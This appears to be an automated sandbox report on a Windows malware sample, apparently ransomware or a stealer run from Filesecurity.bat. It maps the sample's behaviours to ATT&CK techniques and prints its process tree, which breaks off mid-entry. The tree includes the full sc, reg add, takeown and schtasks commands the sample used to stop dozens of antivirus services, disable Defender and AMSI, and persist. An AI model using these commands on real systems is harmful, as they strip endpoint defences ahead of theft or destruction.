7a26d4828cf79b8fe615424f841a710c09454d2ba9e9b8b302336dd1f996188a

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Modifies firewall policy service 3 TTPs 2 IoCs

defense_evasion

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\EnableFirewall = "0"	reg.exe

Modifies visibility of hidden/system files in Explorer 2 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3920	bcdedit.exe
1740	bcdedit.exe
3040	bcdedit.exe
2332	bcdedit.exe
4356	bcdedit.exe
1100	bcdedit.exe
1820	bcdedit.exe
3188	bcdedit.exe
3020	bcdedit.exe
2012	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
640	netsh.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
3636	takeown.exe
1900	icacls.exe
4696	icacls.exe
4944	takeown.exe
3736	takeown.exe
4772	takeown.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	cmd.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3736	takeown.exe
4772	takeown.exe
3636	takeown.exe
4944	takeown.exe
1900	icacls.exe
4696	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Updater = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa	cmd.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\classes.jsa	cmd.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Globalization\ICU\icudtl.dat	cmd.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3296	sc.exe
2732	sc.exe
3400	sc.exe
4628	sc.exe
1196	sc.exe
4260	sc.exe
1604	sc.exe
1900	sc.exe
4548	sc.exe
3340	sc.exe
4316	sc.exe
3392	sc.exe
3728	sc.exe
2880	sc.exe
1044	sc.exe
1488	sc.exe
4480	sc.exe
4496	sc.exe
3540	sc.exe
2536	sc.exe
1572	sc.exe
2316	sc.exe
3148	sc.exe
2084	sc.exe
4364	sc.exe
888	sc.exe
636	sc.exe
4600	sc.exe
3760	sc.exe
2504	sc.exe
3104	sc.exe
2468	sc.exe
4540	sc.exe
2188	sc.exe
4648	sc.exe
372	sc.exe
5096	sc.exe
3364	sc.exe
2740	sc.exe
2848	sc.exe
4488	sc.exe
3840	sc.exe
4440	sc.exe
4924	sc.exe
3404	sc.exe
3152	sc.exe
3992	sc.exe
1980	sc.exe
3960	sc.exe
4256	sc.exe
2256	sc.exe
464	sc.exe
2252	sc.exe
1628	sc.exe
2372	sc.exe
5088	sc.exe
3120	sc.exe
4240	sc.exe
4408	sc.exe
4776	sc.exe
4036	sc.exe
308	sc.exe
4276	sc.exe
1820	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2700	powershell.exe

Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4696	vssadmin.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe\ = "txtfile "	cmd.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4428	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2700	powershell.exe
2700	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe
Token: SeTakeOwnershipPrivilege	3736	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 856 wrote to memory of 5064	856	cmd.exe	86
PID 5064 wrote to memory of 4608	5064	net.exe	87
PID 856 wrote to memory of 3736	856	cmd.exe	88
PID 856 wrote to memory of 4428	856	cmd.exe	96
PID 856 wrote to memory of 1488	856	cmd.exe	97
PID 856 wrote to memory of 1240	856	cmd.exe	98
PID 856 wrote to memory of 4260	856	cmd.exe	99
PID 856 wrote to memory of 1604	856	cmd.exe	100
PID 856 wrote to memory of 4744	856	cmd.exe	101
PID 856 wrote to memory of 4488	856	cmd.exe	102
PID 856 wrote to memory of 2380	856	cmd.exe	103
PID 856 wrote to memory of 1900	856	cmd.exe	104
PID 856 wrote to memory of 4480	856	cmd.exe	105
PID 856 wrote to memory of 1980	856	cmd.exe	106
PID 856 wrote to memory of 3148	856	cmd.exe	107
PID 856 wrote to memory of 3484	856	cmd.exe	108
PID 856 wrote to memory of 4776	856	cmd.exe	109
PID 856 wrote to memory of 4036	856	cmd.exe	110
PID 856 wrote to memory of 4496	856	cmd.exe	111
PID 856 wrote to memory of 916	856	cmd.exe	112
PID 856 wrote to memory of 4704	856	cmd.exe	113
PID 856 wrote to memory of 3960	856	cmd.exe	114
PID 856 wrote to memory of 3840	856	cmd.exe	115
PID 856 wrote to memory of 2084	856	cmd.exe	116
PID 856 wrote to memory of 3760	856	cmd.exe	117
PID 856 wrote to memory of 308	856	cmd.exe	118
PID 856 wrote to memory of 212	856	cmd.exe	119
PID 856 wrote to memory of 4364	856	cmd.exe	120
PID 856 wrote to memory of 5088	856	cmd.exe	121
PID 856 wrote to memory of 3480	856	cmd.exe	122
PID 856 wrote to memory of 888	856	cmd.exe	123
PID 856 wrote to memory of 3540	856	cmd.exe	124
PID 856 wrote to memory of 3296	856	cmd.exe	125
PID 856 wrote to memory of 4548	856	cmd.exe	126
PID 856 wrote to memory of 1176	856	cmd.exe	127
PID 856 wrote to memory of 2504	856	cmd.exe	128
PID 856 wrote to memory of 3728	856	cmd.exe	129
PID 856 wrote to memory of 4256	856	cmd.exe	130
PID 856 wrote to memory of 4276	856	cmd.exe	132
PID 856 wrote to memory of 372	856	cmd.exe	133
PID 856 wrote to memory of 2732	856	cmd.exe	134
PID 856 wrote to memory of 4468	856	cmd.exe	135
PID 856 wrote to memory of 5096	856	cmd.exe	136
PID 856 wrote to memory of 636	856	cmd.exe	137
PID 856 wrote to memory of 1820	856	cmd.exe	138
PID 856 wrote to memory of 1520	856	cmd.exe	140
PID 3212 wrote to memory of 4336	3212	net.exe	141
PID 856 wrote to memory of 3340	856	cmd.exe	142
PID 856 wrote to memory of 4316	856	cmd.exe	143
PID 856 wrote to memory of 4600	856	cmd.exe	144
PID 856 wrote to memory of 4084	856	cmd.exe	146
PID 856 wrote to memory of 4440	856	cmd.exe	147
PID 856 wrote to memory of 2880	856	cmd.exe	148
PID 856 wrote to memory of 5084	856	cmd.exe	149
PID 856 wrote to memory of 2316	856	cmd.exe	150
PID 856 wrote to memory of 3104	856	cmd.exe	151
PID 856 wrote to memory of 3364	856	cmd.exe	152
PID 856 wrote to memory of 3400	856	cmd.exe	153
PID 856 wrote to memory of 4572	856	cmd.exe	154
PID 856 wrote to memory of 4628	856	cmd.exe	155
PID 856 wrote to memory of 1996	856	cmd.exe	156
PID 856 wrote to memory of 1196	856	cmd.exe	157
PID 856 wrote to memory of 1044	856	cmd.exe	158
PID 856 wrote to memory of 2468	856	cmd.exe	159

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat"
1⤵
- Drops startup file
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:856
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4608
- C:\Windows\system32\takeown.exe
  takeown /f "C:\*" /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:3736
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "MicrosoftEdgeUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /sc onlogon /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4428
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1488
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  PID:1240
- C:\Windows\system32\sc.exe
  sc stop WdNisSvc
  2⤵
  - Launches sc.exe
  PID:4260
- C:\Windows\system32\sc.exe
  sc config WdNisSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1604
- C:\Windows\system32\sc.exe
  sc stop Sense
  2⤵
  PID:4744
- C:\Windows\system32\sc.exe
  sc config Sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4488
- C:\Windows\system32\sc.exe
  sc stop WdFilter
  2⤵
  PID:2380
- C:\Windows\system32\sc.exe
  sc config WdFilter start= disabled
  2⤵
  - Launches sc.exe
  PID:1900
- C:\Windows\system32\sc.exe
  sc stop WebThreatDefSvc
  2⤵
  - Launches sc.exe
  PID:4480
- C:\Windows\system32\sc.exe
  sc config WebThreatDefSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1980
- C:\Windows\system32\sc.exe
  sc stop MsSecCore
  2⤵
  - Launches sc.exe
  PID:3148
- C:\Windows\system32\sc.exe
  sc config MsSecCore start= disabled
  2⤵
  PID:3484
- C:\Windows\system32\sc.exe
  sc stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4776
- C:\Windows\system32\sc.exe
  sc config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4036
- C:\Windows\system32\sc.exe
  sc stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4496
- C:\Windows\system32\sc.exe
  sc config SecurityHealthService start= disabled
  2⤵
  PID:916
- C:\Windows\system32\sc.exe
  sc stop mpssvc
  2⤵
  PID:4704
- C:\Windows\system32\sc.exe
  sc config mpssvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3960
- C:\Windows\system32\sc.exe
  sc stop BITS
  2⤵
  - Launches sc.exe
  PID:3840
- C:\Windows\system32\sc.exe
  sc config BITS start= disabled
  2⤵
  - Launches sc.exe
  PID:2084
- C:\Windows\system32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3760
- C:\Windows\system32\sc.exe
  sc config UsoSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:308
- C:\Windows\system32\sc.exe
  sc stop McAfeeFramework
  2⤵
  PID:212
- C:\Windows\system32\sc.exe
  sc config McAfeeFramework start= disabled
  2⤵
  - Launches sc.exe
  PID:4364
- C:\Windows\system32\sc.exe
  sc stop McShield
  2⤵
  - Launches sc.exe
  PID:5088
- C:\Windows\system32\sc.exe
  sc config McShield start= disabled
  2⤵
  PID:3480
- C:\Windows\system32\sc.exe
  sc stop mfefire
  2⤵
  - Launches sc.exe
  PID:888
- C:\Windows\system32\sc.exe
  sc config mfefire start= disabled
  2⤵
  - Launches sc.exe
  PID:3540
- C:\Windows\system32\sc.exe
  sc stop mfevtp
  2⤵
  - Launches sc.exe
  PID:3296
- C:\Windows\system32\sc.exe
  sc config mfevtp start= disabled
  2⤵
  - Launches sc.exe
  PID:4548
- C:\Windows\system32\sc.exe
  sc stop NortonSecurity
  2⤵
  PID:1176
- C:\Windows\system32\sc.exe
  sc config NortonSecurity start= disabled
  2⤵
  - Launches sc.exe
  PID:2504
- C:\Windows\system32\sc.exe
  sc stop ccSetMgr
  2⤵
  - Launches sc.exe
  PID:3728
- C:\Windows\system32\sc.exe
  sc config ccSetMgr start= disabled
  2⤵
  - Launches sc.exe
  PID:4256
- C:\Windows\system32\sc.exe
  sc stop AVP
  2⤵
  - Launches sc.exe
  PID:4276
- C:\Windows\system32\sc.exe
  sc config AVP start= disabled
  2⤵
  - Launches sc.exe
  PID:372
- C:\Windows\system32\sc.exe
  sc stop klif
  2⤵
  - Launches sc.exe
  PID:2732
- C:\Windows\system32\sc.exe
  sc config klif start= disabled
  2⤵
  PID:4468
- C:\Windows\system32\sc.exe
  sc stop klim6
  2⤵
  - Launches sc.exe
  PID:5096
- C:\Windows\system32\sc.exe
  sc config klim6 start= disabled
  2⤵
  - Launches sc.exe
  PID:636
- C:\Windows\system32\sc.exe
  sc stop klwtp
  2⤵
  - Launches sc.exe
  PID:1820
- C:\Windows\system32\sc.exe
  sc config klwtp start= disabled
  2⤵
  PID:1520
- C:\Windows\system32\sc.exe
  sc stop VSSERV
  2⤵
  - Launches sc.exe
  PID:3340
- C:\Windows\system32\sc.exe
  sc config VSSERV start= disabled
  2⤵
  - Launches sc.exe
  PID:4316
- C:\Windows\system32\sc.exe
  sc stop bdredline
  2⤵
  - Launches sc.exe
  PID:4600
- C:\Windows\system32\sc.exe
  sc config bdredline start= disabled
  2⤵
  PID:4084
- C:\Windows\system32\sc.exe
  sc stop updatesrv
  2⤵
  - Launches sc.exe
  PID:4440
- C:\Windows\system32\sc.exe
  sc config updatesrv start= disabled
  2⤵
  - Launches sc.exe
  PID:2880
- C:\Windows\system32\sc.exe
  sc stop MBAMService
  2⤵
  PID:5084
- C:\Windows\system32\sc.exe
  sc config MBAMService start= disabled
  2⤵
  - Launches sc.exe
  PID:2316
- C:\Windows\system32\sc.exe
  sc stop MBAMChameleon
  2⤵
  - Launches sc.exe
  PID:3104
- C:\Windows\system32\sc.exe
  sc config MBAMChameleon start= disabled
  2⤵
  - Launches sc.exe
  PID:3364
- C:\Windows\system32\sc.exe
  sc stop Sophos
  2⤵
  - Launches sc.exe
  PID:3400
- C:\Windows\system32\sc.exe
  sc config Sophos start= disabled
  2⤵
  PID:4572
- C:\Windows\system32\sc.exe
  sc stop Health
  2⤵
  - Launches sc.exe
  PID:4628
- C:\Windows\system32\sc.exe
  sc config Health start= disabled
  2⤵
  PID:1996
- C:\Windows\system32\sc.exe
  sc stop Sophos
  2⤵
  - Launches sc.exe
  PID:1196
- C:\Windows\system32\sc.exe
  sc config Sophos start= disabled
  2⤵
  - Launches sc.exe
  PID:1044
- C:\Windows\system32\sc.exe
  sc stop Anti-Virus
  2⤵
  - Launches sc.exe
  PID:2468
- C:\Windows\system32\sc.exe
  sc config Anti-Virus start= disabled
  2⤵
  PID:4152
- C:\Windows\system32\sc.exe
  sc stop SAVService
  2⤵
  - Launches sc.exe
  PID:2740
- C:\Windows\system32\sc.exe
  sc config SAVService start= disabled
  2⤵
  - Launches sc.exe
  PID:4924
- C:\Windows\system32\sc.exe
  sc stop ekrn
  2⤵
  - Launches sc.exe
  PID:2256
- C:\Windows\system32\sc.exe
  sc config ekrn start= disabled
  2⤵
  PID:1888
- C:\Windows\system32\sc.exe
  sc stop egui
  2⤵
  - Launches sc.exe
  PID:3404
- C:\Windows\system32\sc.exe
  sc config egui start= disabled
  2⤵
  - Launches sc.exe
  PID:3120
- C:\Windows\system32\sc.exe
  sc stop epfw
  2⤵
  PID:848
- C:\Windows\system32\sc.exe
  sc config epfw start= disabled
  2⤵
  - Launches sc.exe
  PID:3152
- C:\Windows\system32\sc.exe
  sc stop TMBMSRV
  2⤵
  - Launches sc.exe
  PID:3992
- C:\Windows\system32\sc.exe
  sc config TMBMSRV start= disabled
  2⤵
  - Launches sc.exe
  PID:4540
- C:\Windows\system32\sc.exe
  sc stop ntrtscan
  2⤵
  - Launches sc.exe
  PID:464
- C:\Windows\system32\sc.exe
  sc config ntrtscan start= disabled
  2⤵
  - Launches sc.exe
  PID:2848
- C:\Windows\system32\sc.exe
  sc stop TmPfw
  2⤵
  PID:2760
- C:\Windows\system32\sc.exe
  sc config TmPfw start= disabled
  2⤵
  PID:4476
- C:\Windows\system32\sc.exe
  sc stop avast
  2⤵
  PID:4688
- C:\Windows\system32\sc.exe
  sc config avast start= disabled
  2⤵
  - Launches sc.exe
  PID:2188
- C:\Windows\system32\sc.exe
  sc stop aswbIDSAgent
  2⤵
  - Launches sc.exe
  PID:2536
- C:\Windows\system32\sc.exe
  sc config aswbIDSAgent start= disabled
  2⤵
  - Launches sc.exe
  PID:2252
- C:\Windows\system32\sc.exe
  sc stop sophosautoupdate
  2⤵
  PID:4236
- C:\Windows\system32\sc.exe
  sc config sophosautoupdate start= disabled
  2⤵
  - Launches sc.exe
  PID:4240
- C:\Windows\system32\sc.exe
  sc stop ASdSvc
  2⤵
  PID:4512
- C:\Windows\system32\sc.exe
  sc config ASdSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1572
- C:\Windows\system32\sc.exe
  sc stop bdservicehost
  2⤵
  PID:1892
- C:\Windows\system32\sc.exe
  sc config bdservicehost start= disabled
  2⤵
  - Launches sc.exe
  PID:1628
- C:\Windows\system32\sc.exe
  sc stop bdagent
  2⤵
  PID:2548
- C:\Windows\system32\sc.exe
  sc config bdagent start= disabled
  2⤵
  - Launches sc.exe
  PID:3392
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:624
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:3160
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3236
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2832
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4664
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1844
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1080
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
  2⤵
  PID:3968
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
  2⤵
  PID:5004
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3736
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\CloudBlockLevel" /ve /t REG_DWORD /d 0 /f
  2⤵
  PID:4428
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /v "DebugMode" /t REG_DWORD /d 1 /f
  2⤵
  PID:1488
- C:\Windows\system32\netsh.exe
